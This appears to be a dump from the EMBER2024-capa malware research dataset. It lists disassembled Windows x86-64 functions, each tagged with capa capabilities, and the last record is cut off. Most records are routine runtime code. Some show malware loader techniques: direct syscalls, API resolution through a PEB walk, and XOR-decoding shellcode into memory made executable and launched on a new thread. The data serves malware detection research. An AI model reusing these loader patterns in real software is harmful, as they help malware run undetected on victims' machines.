joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140220094
Capabilities:
Parse pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0x20
mov esi, r8d
mov ebx, edx
mov r14d, ecx
test r8d, r8d
jne 0x14021fe68
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14021fe68
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14021fe68
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14021fe68
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14021fe68
cmp dword [rcx + 0x84], 0xe
jbe 0x14021fe68
cmp dword [rcx + 0xf8], esi
je 0x14021fe68
mov ecx, r14d
call fcn.14021ffb0
mov ecx, 2
call fcn.14022b5f0
nop
cmp byte [0x1403373a8], 0
jne 0x14021ff32
mov r15d, 1
mov eax, r15d
xchg dword [0x140337398], eax
test ebx, ebx
jne 0x14021fedb
mov rdi, qword [0x14032d990]
mov edx, edi
and edx, 0x3f
lea ecx, [rbx + 0x40]
sub ecx, edx
xor eax, eax
ror rax, cl
xor rax, rdi
mov rcx, qword [0x1403373a0]
cmp rcx, rax
je 0x14021fed2
xor rdi, rcx
mov ecx, edx
ror rdi, cl
mov rcx, rdi
call qword [fcn.140258890]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rdi
lea rcx, [0x1403374f8]
jmp 0x14021fee7
cmp ebx, r15d
jne 0x14021feed
lea rcx, [0x140337510]
call fcn.140229704
nop
test ebx, ebx
jne 0x14021ff04
lea rdx, [0x140267aa8]
lea rcx, [0x140267a80]
call fcn.140229a3c
lea rdx, [0x140267ab8]
lea rcx, [0x140267ab0]
call fcn.140229a3c
movzx eax, byte [0x1403373a8]
test esi, esi
cmove eax, r15d
mov byte [0x1403373a8], al
jmp 0x14021ff32
mov ecx, 2
call fcn.14022b644
test esi, esi
jne 0x14021ff49
mov ecx, r14d
call fcn.14021ff64
int3
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop r15
ret
xor r8d, r8d
xor edx, edx
jmp 0x14021fdf8
Function at 0x140234830
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov qword [rax + 8], rcx
push rbp
mov rbp, rsp
sub rsp, 0x20
test rcx, rcx
jne 0x1402346d0
call fcn.140221ff4
mov dword [rax], reloc.WS2_32.dll_shutdown
call fcn.140219ccc
or eax, 0xffffffff
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop rbp
ret
mov eax, dword [rcx + 0x14]
shr eax, 0xd
test al, 1
je 0x1402346b8
mov rax, qword [rbp + 0x10]
mov ecx, dword [rax + 0x14]
shr ecx, 0xc
test cl, 1
jne 0x1402346b8
mov rax, qword [rbp + 0x10]
mov ecx, dword [rax + 0x14]
mov rax, qword [rbp + 0x10]
shr ecx, 1
test cl, 1
je 0x140234702
lock or dword [rax + 0x14], 0x10
jmp 0x1402346b8
lock or dword [rax + 0x14], 1
mov rax, qword [rbp + 0x10]
mov ecx, dword [rax + 0x14]
test ecx, 0x4c0
jne 0x14023471f
mov rcx, qword [rbp + 0x10]
call fcn.140239660
mov rax, qword [rbp + 0x10]
mov rcx, qword [rax + 8]
mov qword [rax], rcx
mov rbx, qword [rbp + 0x10]
mov rcx, rbx
call fcn.14022168c
mov rdx, qword [rbp + 0x10]
mov ecx, eax
mov r8d, dword [rdx + 0x20]
mov rdx, qword [rdx + 8]
call fcn.140234108
mov dword [rbx + 0x10], eax
mov rax, qword [rbp + 0x10]
mov edx, dword [rax + 0x10]
lea ecx, [rdx + 1]
cmp ecx, 1
ja 0x140234776
neg edx
sbb ecx, ecx
and ecx, 8
add ecx, 8
lock or dword [rax + 0x14], ecx
mov rax, qword [rbp + 0x10]
and dword [rax + 0x10], 0
jmp 0x1402346b8
mov ecx, dword [rax + 0x14]
test cl, 6
jne 0x1402347e2
mov rcx, qword [rbp + 0x10]
call fcn.14022168c
cmp eax, 0xffffffff
je 0x1402347c9
mov rcx, qword [rbp + 0x10]
call fcn.14022168c
cmp eax, 0xfffffffe
je 0x1402347c9
mov rbx, qword [rbp + 0x10]
mov rcx, rbx
call fcn.14022168c
movsxd rdi, eax
lea rsi, [0x140337790]
mov rcx, rbx
sar rdi, 6
call fcn.14022168c
and eax, 0x3f
shl rax, 6
add rax, qword [rsi + rdi*8]
jmp 0x1402347d0
lea rax, [0x14032ddd0]
mov al, byte [rax + 0x38]
and al, 0x82
cmp al, 0x82
jne 0x1402347e2
mov rax, qword [rbp + 0x10]
lock or dword [rax + 0x14], 0x20
mov rax, qword [rbp + 0x10]
cmp dword [rax + 0x20], 0x200
jne 0x140234818
mov ecx, dword [rax + 0x14]
shr ecx, 6
test cl, 1
je 0x140234814
mov rax, qword [rbp + 0x10]
mov ecx, dword [rax + 0x14]
shr ecx, 8
test cl, 1
jne 0x140234814
mov rax, qword [rbp + 0x10]
mov dword [rax + 0x20], 0x1000
mov rax, qword [rbp + 0x10]
dec dword [rax + 0x10]
mov rcx, qword [rax]
movzx edx, byte [rcx]
inc rcx
mov qword [rax], rcx
mov eax, edx
jmp 0x1402346bb
jmp 0x140234688
Function at 0x140240fd0
Capabilities:
Set thread local storage value

Disassembly:
sub rsp, 0x48
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x140240fe3
add rsp, 0x48
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
movzx edx, ax
lea rcx, [rsp + 0x20]
or edx, 0x80070000
test eax, eax
cmovle edx, eax
call fcn.140241648
lea rdx, [0x1403257b0]
lea rcx, [rsp + 0x20]
call fcn.140216b54
int3

Function at 0x14024bb4c
Capabilities:
Set thread local storage value

Disassembly:
mov ecx, dword [0x140337f50]
xor edx, edx
jmp fcn.140240fd0

Function at 0x14024c52c
Capabilities:
Set thread local storage value

Disassembly:
mov rdx, rcx
mov ecx, dword [0x140337f50]
jmp fcn.140240fd0
Function at 0x140003ed0
Capabilities:
Parse pe header

Disassembly:
push rbx
sub rsp, 0x40
mov qword [rsp + 0x58], rdx
mov rbx, r8
xor edx, edx
test rcx, rcx
je 0x140003f04
cmp word [rcx], 0x5a4d
jne 0x140003f04
movsxd rax, dword [rcx + 0x3c]
cmp eax, 0x400
jg 0x140003f04
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140003f04
mov edx, dword [rcx + 0x28]
add rdx, qword [rsp + 0x58]
mov rcx, rbx
call fcn.140003e10
test eax, eax
jne 0x140003f20
xor eax, eax
add rsp, 0x40
pop rbx
ret
mov rcx, rbx
call fcn.140003e80
test rax, rax
je 0x140003f15
lea rdx, [rax + 0x10]
lea rax, [rsp + 0x38]
mov rcx, qword [rbx]
mov r9d, 8
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x58]
mov qword [rsp + 0x38], 0
call fcn.1400046cf
not eax
shr eax, 0x1f
add rsp, 0x40
pop rbx
ret

Function at 0x1400045d0
Capabilities:
Execute syscall

Disassembly:
pop rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov rcx, r10
call fcn.140004570
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x140004a24
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
mov rax, qword [0x1409b4438]
xor ebx, ebx
add rax, 0x18
mov r12, rcx
mov ecx, dword [0x1409b4434]
mov rsi, rdx
mov rdi, r8
cmp ebx, ecx
jge 0x140004a72
mov rdx, qword [rax]
cmp r12, rdx
jb 0x140004a6a
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x140004b59
inc ebx
add rax, 0x28
jmp 0x140004a4a
mov rcx, r12
call fcn.140005251
mov rbp, rax
test rax, rax
jne 0x140004a91
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.1400049c0
movsxd rbx, ebx
mov rax, qword [0x1409b4438]
xor edx, edx
imul rbx, rbx, 0x28
add rax, rbx
mov dword [rax], edx
mov qword [rax + 0x20], rbp
call fcn.1400052ff
mov edx, dword [rbp + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1409b4438]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
jne 0x140004af3
mov rax, qword [0x1409b4438]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.1400049c0
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x140004b53
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140004b53
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1409b4438]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140004b53
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.1400049c0
inc dword [0x1409b4434]
mov ecx, edi
mov rdi, r12
rep movsb byte [rdi], byte [rsi]
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
Function at 0x140004f80
Capabilities:
Get thread local storage value

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
lea rdi, [0x1409b44a0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1409b4480]
test rbx, rbx
je 0x140004fcc
mov ecx, dword [rbx]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
test rsi, rsi
je 0x140004fc6
test eax, eax
jne 0x140004fc6
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
jmp 0x140004f9e
mov rcx, rdi
add rsp, 0x20
pop rbx
pop rsi
pop rdi
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140005180
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400051a3
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
jne 0x1400051a3
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x1400051a4
Capabilities:
Enumerate pe sections

Disassembly:
xor r8d, r8d
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r9d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
cmp r8d, r9d
jae 0x1400051de
mov r10d, dword [rax + 0xc]
mov rcx, r10
cmp rdx, r10
jb 0x1400051d5
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x1400051e0
inc r8d
add rax, 0x28
jmp 0x1400051bc
xor eax, eax
ret

Function at 0x140005251
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x1409ae470]
mov r8, rcx
mov rcx, r9
call fcn.140005180
test eax, eax
je 0x14000527d
mov rdx, r8
mov rcx, r9
sub rdx, r9
add rsp, 0x28
jmp fcn.1400051a4
xor eax, eax
add rsp, 0x28
ret
Function at 0x140008c30
Capabilities:
Access peb ldr_data

Disassembly:
push rcx
push r11
push r13
sub rcx, rcx
add rcx, 0x60
mov r11, qword gs:[rcx]
push r10
mov rcx, r11
add rcx, 0x10
mov r10, qword [rcx]
add r11, 0x18
mov r13, qword [r11]
mov rcx, r13
add rcx, 0x10
mov r11, qword [rcx]
push r12
mov r13, r11
add r13, 0x30
mov rcx, qword [r13]
cmp rcx, 0
je 0x140008ca3
mov r13, qword [r11 + 0x60]
mov r12, qword [r13]
and r12d, 0xdf00df
mov r13, qword [r13 + 0xc]
shl r13d, 8
add r13d, r12d
shl r13d, 2
sub r13d, 0xc914cd2c
cmp r13, 0
je 0x140008cab
mov r13, qword [r11]
mov r11, r13
jmp 0x140008c5f
mov r11d, dword [rcx + 0x3c]
add r11, rcx
add r11, 0x10
mov r13d, dword [r11 + 0x78]
add r13, rcx
push rbx
mov r12d, dword [r13 + 0x20]
add r12, rcx
mov ebx, dword [r12]
add rbx, rcx
mov r11d, dword [rbx + 0xb]
sub r11d, 0x746365
test r11d, r11d
jne 0x140008ce1
jmp 0x140008cef
inc r12
inc r12
inc r12
inc r12
jmp 0x140008cc5
mov r11d, dword [r13 + 0x20]
sub r12, r11
sub r12, rcx
shr r12d, 1
mov r11d, dword [r13 + 0x24]
add r11, r12
add r11, rcx
mov r12d, dword [r11]
mov r11d, dword [r13 + 0x1c]
and r12d, 0xffff
shl r12d, 2
add r11, rcx
add r11, r12
mov r12d, dword [r11]
mov r11d, 0x78000
add r12, rcx
push rcx
add r11, r10
push r10
push r11
push rbx
push rbx
push r12
mov rcx, r11
mov r9, rsp
sub r8, r8
add r8, 0x40
mov edx, 0xb6000
call r12
pop r13
pop rbx
pop rbx
pop r11
pop r10
mov ecx, 0x67d8
movabs r13, 0x3a4c0
push r12
mov r12d, 3
imul ecx, r12d
movabs r12, 0x20c1
add rcx, r12
add rcx, r10
call 0x140008dac
mov r11d, 0xb8000
movabs rcx, 0x50e49
add rcx, r10
add r11, r10
mov r13d, 0x3aa0
call 0x140008dac
pop r12
cmp rcx, r11
jne 0x140008de4
mov r12d, dword [rcx]
xor r12d, 0x421e378
dec r12
mov dword [r11], r12d
dec r13
dec r13
dec r13
inc rcx
inc rcx
inc rcx
inc rcx
add r11, 4
dec r13
test r13d, r13d
je 0x140008de2
jmp 0x140008dac
nop
ret
mov ecx, 0x8000000
movabs r11, 0x78000
mov r13d, 0x42f
mov r12d, 3
imul r13d, r12d
add r11, r10
add r13d, 0x373
sub r11, r13
mov r13, r11
sub r13, rcx
movabs rcx, 0x55a49
add rcx, r10
mov r12d, dword [rcx]
xor r12d, 0x421e378
dec r12
test r12d, r12d
je 0x140008e49
add r12, r11
mov rbx, qword [r12]
add rbx, r13
mov qword [r12], rbx
add rcx, 4
jmp 0x140008e23
mov r11d, 0x56d2
movabs rcx, 0x3cb
sub rsp, 0x28
add rcx, 0x82a2d
add rcx, r10
add rcx, r11
push rcx
mov rcx, r11
dec r11
jmp 0x140008de2

Function at 0x1400092f0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x14000933c
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140009334
cmp dword [rcx + 0x3c], edx
jl 0x140009334
cmp dword [rcx + 0x3c], 0x10000000
jae 0x140009334
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x14000933c
mov rax, rdx
add rsp, 0x18
ret
Function at 0x140049800
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
aeskeygenassist xmm0, xmmword [rdx], 2
movdqa xmmword [rcx], xmm0
ret

Function at 0x14004a9d0
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
sub rsp, 0x58
movaps xmmword [rsp + 0x40], xmm10
movaps xmmword [rsp + 0x30], xmm9
movaps xmmword [rsp + 0x20], xmm8
movaps xmmword [rsp + 0x10], xmm7
movaps xmmword [rsp], xmm6
movdqa xmm0, xmmword [rcx]
movdqa xmm10, xmmword [rcx + 0x10]
movdqa xmm9, xmmword [rcx + 0x20]
movdqa xmm8, xmmword [rcx + 0x30]
movdqa xmm1, xmmword [rdx]
pxor xmm1, xmm0
movdqa xmm3, xmmword [rdx + 0x10]
pxor xmm3, xmm0
movdqa xmm4, xmmword [rdx + 0x20]
pxor xmm4, xmm0
movdqa xmm5, xmmword [rdx + 0x30]
pxor xmm5, xmm0
movdqa xmm2, xmmword [rdx + 0x40]
pxor xmm2, xmm0
movdqa xmm6, xmmword [rdx + 0x50]
pxor xmm6, xmm0
movdqa xmm7, xmmword [rdx + 0x60]
pxor xmm7, xmm0
pxor xmm0, xmmword [rdx + 0x70]
aesenc xmm1, xmm10
aesenc xmm3, xmm10
aesenc xmm4, xmm10
aesenc xmm5, xmm10
aesenc xmm2, xmm10
aesenc xmm6, xmm10
aesenc xmm7, xmm10
aesenc xmm0, xmm10
aesenc xmm1, xmm9
aesenc xmm3, xmm9
aesenc xmm4, xmm9
aesenc xmm5, xmm9
aesenc xmm2, xmm9
aesenc xmm6, xmm9
aesenc xmm7, xmm9
aesenc xmm0, xmm9
aesenc xmm1, xmm8
aesenc xmm3, xmm8
aesenc xmm4, xmm8
aesenc xmm5, xmm8
aesenc xmm2, xmm8
aesenc xmm6, xmm8
aesenc xmm7, xmm8
aesenc xmm0, xmm8
movdqa xmm8, xmmword [rcx + 0x40]
aesenc xmm1, xmm8
aesenc xmm3, xmm8
aesenc xmm4, xmm8
aesenc xmm5, xmm8
aesenc xmm2, xmm8
aesenc xmm6, xmm8
aesenc xmm7, xmm8
aesenc xmm0, xmm8
movdqa xmm8, xmmword [rcx + 0x50]
aesenc xmm1, xmm8
aesenc xmm3, xmm8
aesenc xmm4, xmm8
aesenc xmm5, xmm8
aesenc xmm2, xmm8
aesenc xmm6, xmm8
aesenc xmm7, xmm8
aesenc xmm0, xmm8
movdqa xmm8, xmmword [rcx + 0x60]
aesenc xmm1, xmm8
aesenc xmm3, xmm8
aesenc xmm4, xmm8
aesenc xmm5, xmm8
aesenc xmm2, xmm8
aesenc xmm6, xmm8
aesenc xmm7, xmm8
aesenc xmm0, xmm8
movdqa xmm8, xmmword [rcx + 0x70]
aesenc xmm1, xmm8
aesenc xmm3, xmm8
aesenc xmm4, xmm8
aesenc xmm5, xmm8
aesenc xmm2, xmm8
aesenc xmm6, xmm8
aesenc xmm7, xmm8
aesenc xmm0, xmm8
movdqa xmm8, xmmword [rcx + 0x80]
aesenc xmm1, xmm8
aesenc xmm3, xmm8
aesenc xmm4, xmm8
aesenc xmm5, xmm8
aesenc xmm2, xmm8
aesenc xmm6, xmm8
aesenc xmm7, xmm8
aesenc xmm0, xmm8
movdqa xmm8, xmmword [rcx + 0x90]
aesenc xmm1, xmm8
aesenc xmm3, xmm8
aesenc xmm4, xmm8
aesenc xmm5, xmm8
aesenc xmm2, xmm8
aesenc xmm6, xmm8
aesenc xmm7, xmm8
aesenc xmm0, xmm8
movdqa xmm8, xmmword [rcx + 0xa0]
aesenclast xmm1, xmm8
aesenclast xmm3, xmm8
movdqa xmmword [rdx], xmm1
movdqa xmmword [rdx + 0x10], xmm3
aesenclast xmm4, xmm8
movdqa xmmword [rdx + 0x20], xmm4
aesenclast xmm5, xmm8
movdqa xmmword [rdx + 0x30], xmm5
aesenclast xmm2, xmm8
aesenclast xmm6, xmm8
movdqa xmmword [rdx + 0x40], xmm2
movdqa xmmword [rdx + 0x50], xmm6
aesenclast xmm7, xmm8
movdqa xmmword [rdx + 0x60], xmm7
aesenclast xmm0, xmm8
movdqa xmmword [rdx + 0x70], xmm0
movaps xmm6, xmmword [rsp]
movaps xmm7, xmmword [rsp + 0x10]
movaps xmm8, xmmword [rsp + 0x20]
movaps xmm9, xmmword [rsp + 0x30]
movaps xmm10, xmmword [rsp + 0x40]
add rsp, 0x58
ret
Function at 0x140050640
Capabilities:
Get common file path

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x478
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x3f0], 0xfffffffffffffffe
mov qword [rbp + 0x3e0], rcx
mov qword [rbp + 0x3c8], 2
xorps xmm0, xmm0
movups xmmword [rbp + 0x3d0], xmm0
mov r8d, 0x200
mov eax, 2
mov qword [rbp + 0x3e8], rax
xor edi, edi
xor ebx, ebx
xor r12d, r12d
cmp r8, 0x201
jae 0x1400506d0
jmp 0x1400506bf
jae 0x140050790
cmp r8, 0x201
jae 0x1400506d0
mov esi, 0x200
lea r13, [rbp - 0x58]
mov r15, r8
jmp 0x140050728
sub r8, r12
sub rbx, r12
cmp rbx, r8
jae 0x1400506ff
lea rcx, [rbp + 0x3c8]
mov rdx, r12
call fcn.140067440
mov rax, qword [rbp + 0x3c8]
mov qword [rbp + 0x3e8], rax
mov rdi, qword [rbp + 0x3d0]
mov eax, 0xffffffff
cmp rdi, rax
mov r12d, 0xffffffff
cmovb r12, rdi
mov qword [rbp + 0x3d8], r12
mov rbx, rdi
mov rsi, r12
mov r13, qword [rbp + 0x3e8]
mov r15, r12
xor ecx, ecx
call qword [sym.imp.kernel32.dll_SetLastError]
mov ecx, r15d
mov rdx, r13
call qword [sym.imp.kernel32.dll_GetCurrentDirectoryW]
mov r14d, eax
test eax, eax
jne 0x140050751
call qword [sym.imp.kernel32.dll_GetLastError]
test eax, eax
jne 0x1400507f8
mov r8d, r14d
cmp r15, r8
jne 0x1400506b0
call qword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x7a
jne 0x14005081b
add r15, r15
mov eax, 0xffffffff
cmp r15, rax
cmovae r15, rax
mov r8, r15
cmp r8, 0x201
jb 0x1400506bf
jmp 0x1400506d0
cmp rsi, r8
jb 0x140050835
lea rcx, [rbp + 0x3a8]
mov rdx, r13
call fcn.140052ad0
movups xmm0, xmmword [rbp + 0x3a8]
movups xmm1, xmmword [rbp + 0x3b8]
mov rsi, qword [rbp + 0x3e0]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
test rdi, rdi
je 0x1400507e1
add rdi, rdi
mov r8d, 2
mov rcx, qword [rbp + 0x3e8]
mov rdx, rdi
call fcn.14004b860
mov rax, rsi
add rsp, 0x478
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov rsi, qword [rbp + 0x3e0]
mov qword [rsi], rax
mov byte [rsi + 0x18], 2
test rdi, rdi
jne 0x1400507c9
jmp 0x1400507e1
lea rcx, str.internal_error:_entered_unreachable_code_rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_alloc_src_vecmod.rs
lea r8, str.library_std_src_syswindowsmod.rs
mov edx, 0x28
call fcn.140067ed0
jmp 0x14005084a
lea rax, str.library_std_src_syswindowsmod.rs
mov rcx, r8
mov rdx, rsi
mov r8, rax
call fcn.1400682c0
ud2
Function at 0x140057ee0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rdi
sub rsp, 0xa8
mov rdi, rdx
mov rsi, rcx
mov rcx, qword [rsp + 0xe0]
movups xmm0, xmmword [0x14006af90]
movaps xmmword [rsp + 0x60], xmm0
mov eax, 0xffffffff
cmp r9, rax
cmovb rax, r9
test rcx, rcx
je 0x140057f24
mov rdx, qword [rsp + 0xe8]
mov qword [rsp + 0x80], rdx
test rcx, rcx
mov qword [rsp + 0x78], rcx
lea rdx, [rsp + 0x80]
cmove rdx, rcx
mov qword [rsp + 0x38], rdx
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], r8
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x40], 0
mov rcx, rdi
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtWriteFile]
cmp eax, 0x103
jne 0x140057f8a
mov rcx, rdi
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov eax, dword [rsp + 0x60]
cmp eax, 0x103
je 0x140057fc1
test eax, eax
js 0x140057f9b
mov rax, qword [rsp + 0x68]
mov qword [rsi + 8], rax
xor eax, eax
jmp 0x140057fb4
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov eax, 1
mov qword [rsi], rax
add rsp, 0xa8
pop rdi
pop rsi
ret
mov byte [rsp + 0x5c], 0
mov dword [rsp + 0x58], 0
mov qword [rsp + 0x20], 0
lea rdx, str.fatal_runtime_error:_I_O_error:_operation_failed_to_complete_synchronously_n
lea rsi, [rsp + 0x78]
lea r9, [rsp + 0x50]
mov r8d, 1
mov rcx, rsi
call fcn.14004e110
lea rcx, [rsp + 0x58]
mov rdx, rsi
call fcn.1400528d0
mov rcx, rax
call fcn.14004e590
mov ecx, 7
int 0x29
ud2
Function at 0x140065220
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
test r8, r8
je 0x14006529a
mov rax, rdx
mov rdx, qword [rsp + 0x70]
mov esi, ecx
shr esi, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov rbx, rax
movzx edi, byte [rax + 1]
add rax, 2
lea r10, [r11 + rdi]
cmp byte [rbx], sil
jne 0x140065290
cmp r11, r10
ja 0x140065333
cmp r10, rdx
ja 0x140065347
add r11, r9
xor ebx, ebx
nop dword [rax]
cmp rdi, rbx
je 0x140065292
lea r14, [rbx + 1]
cmp byte [r11 + rbx], cl
mov rbx, r14
jne 0x140065270
jmp 0x140065307
ja 0x14006529a
mov r11, r10
cmp rax, r8
jne 0x140065242
mov rdx, qword [rsp + 0x80]
test rdx, rdx
je 0x14006530b
mov r8, qword [rsp + 0x78]
add rdx, r8
movzx ecx, cx
mov al, 1
nop word cs:[rax + rax]
lea r10, [r8 + 1]
movzx r9d, byte [r8]
test r9b, r9b
js 0x1400652e0
mov r8, r10
sub ecx, r9d
jns 0x1400652fe
jmp 0x14006530d
cmp r10, rdx
je 0x140065319
movzx r10d, byte [r8 + 1]
add r8, 2
and r9d, 0x7f
shl r9d, 8
or r9d, r10d
sub ecx, r9d
js 0x14006530d
xor al, 1
cmp r8, rdx
jne 0x1400652c0
jmp 0x14006530d
xor eax, eax
jmp 0x14006530d
mov al, 1
and al, 1
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, str.called__Option::unwrap____on_a__None__valuelibrarycore_src_nummod.rsfrom_str_radix_int:_must_lie_in_the_range___2__36_____found
lea r8, str.librarycore_srcunicodeprintable.rs
mov edx, 0x2b
call fcn.140067ed0
ud2
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r11
mov rdx, r10
call fcn.140068330
ud2
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r10
call fcn.1400682c0
ud2

Function at 0x140066df4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.kernel32.dll_GetModuleHandleW]
test rax, rax
je 0x140066e3e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140066e3e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140066e3e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140066e3e
cmp dword [rcx + 0x84], 0xe
jbe 0x140066e3e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140066e40
xor al, al
add rsp, 0x28
ret
Function at 0x140001585
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x40
mov r9d, 4
movsxd r12, edx
mov rdi, rcx
mov rbp, r8
xor ecx, ecx
mov r8d, 0x3000
mov rdx, r12
mov rsi, r12
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
xor eax, eax
cmp esi, eax
jle 0x1400015d0
mov rdx, rax
and edx, 3
mov dl, byte [rbp + rdx]
xor dl, byte [rdi + rax]
mov byte [rbx + rax], dl
inc rax
jmp 0x1400015b7
mov rcx, rbx
lea r9, [rsp + 0x3c]
mov r8d, 0x20
call fcn.140001553
mov rdx, r12
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r9, rbx
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], 0
lea r8, [0x140001550]
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateThread]
nop
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x140001620
Capabilities:
Read file on windows

Disassembly:
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x40
mov r13, rcx
mov ecx, 0x800
call sub.msvcrt.dll_malloc
mov r8d, 0x800
mov rcx, r13
mov r12, rax
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov rcx, r12
lea rdx, section..rdata
call sub.msvcrt.dll_fopen
mov rbx, qword [0x140046480]
lea rdx, [rsp + 0x38]
mov r13, rax
movsxd rax, dword [rbx]
mov rcx, r13
mov qword [rsp + 0x38], rax
call sub.msvcrt.dll_fsetpos
movsxd r8, dword [rbx + 4]
mov rcx, r8
mov qword [rsp + 0x28], r8
call sub.msvcrt.dll_malloc
mov r8, qword [rsp + 0x28]
mov r9, r13
mov edx, 1
mov rcx, rax
mov r12, rax
